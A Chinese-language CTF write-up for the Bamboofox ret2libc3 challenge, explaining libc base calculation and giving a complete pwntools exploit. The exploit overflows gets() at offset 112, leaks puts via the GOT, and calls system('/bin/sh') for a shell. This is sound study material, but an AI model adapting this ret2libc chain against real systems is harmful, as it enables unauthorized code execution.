分析
题目链接
分析同之前的ret2libc1 ret2libc2一样
不过,这题在Bamboofox ret2libc2上进阶了一下,这次题目中不再出现system和/bin/sh相关字符串,所以这次得利用libc自行写入其中
在解题之前,先了解下libc基地址如何获取,以及如何利用基地址获取system和/bin/sh
libc_base = function_A_address - function_A_address_in_libc
#method to calculate libc_base
sys_addr = libc_base + sys_addr_in_libc
bin_sh_addr = libc_base + bin_sh_addr_in_libc
在程序中,尤其是在没关闭ASLR保护的情况下,函数的地址(除低12位)会随机改变,但其距离libc基地址的偏移不会改变
所以我们可以利用此特性,先获取libc基地址,然后用libc_database查询其他函数相对基地址的偏移,最后得到函数的地址
解题
先计算函数偏移
pwndbg> cyclic 200
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab
pwndbg> r
Starting program: /home/henhen/Desktop/challenges/Bamboofox ret2libc3/ret2libc3
No surprise anymore, system disappeard QQ.
Can you find it !?aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab
...
...
──────────────────────────────────[ DISASM ]───────────────────────────────────
Invalid address 0x62616164
...
...
pwndbg> cyclic -l 0x62616164
112 //偏移值
接着利用gets()的栈溢出漏洞,把retn地址覆盖为puts_got的地址,利用puts_got泄露libc_base地址
puts_got = elf.got['puts']
puts_plt = 0x8048460
payload = b'a' * 112 + p32(puts_plt) + p32(main_addr) + p32(puts_got)
p.sendlineafter("?",payload)
puts_addr = u32(p.recv(4))
print("puts_addr = ",hex(puts_addr))
运行脚本,显示出puts地址为
puts_addr = 0xf7daac30
接着使用libc_database查询puts函数相对libc_base的偏移量
一切都明了后,最终exp如下
from pwn import *
p = process('./ret2libc3')
elf = ELF('./ret2libc3')
puts_got = elf.got['puts']
puts_plt = 0x8048460
main_addr = 0x80484d0
#procedures to leak libcbase_addr
#libcbase_addr = puts_addr - libc_puts
payload = b'a' * 112 + p32(puts_plt) + p32(main_addr) + p32(puts_got)
p.sendlineafter("?",payload)
puts_addr = u32(p.recv(4))
print("puts_addr = ",hex(puts_addr))
#puts address in libc is 0x6dc30
libcbase_addr = puts_addr - 0x6dc30
#so,system's address should be libcbase_addr + system's address in libc
system_address = libcbase_addr + 0x41790
str_bin_sh_addr = libcbase_addr +0x18e363
payload = b'a' * 112 + p32(system_address) + p32(main_addr) + p32(str_bin_sh_addr)
p.sendlineafter("?",payload)
p.interactive()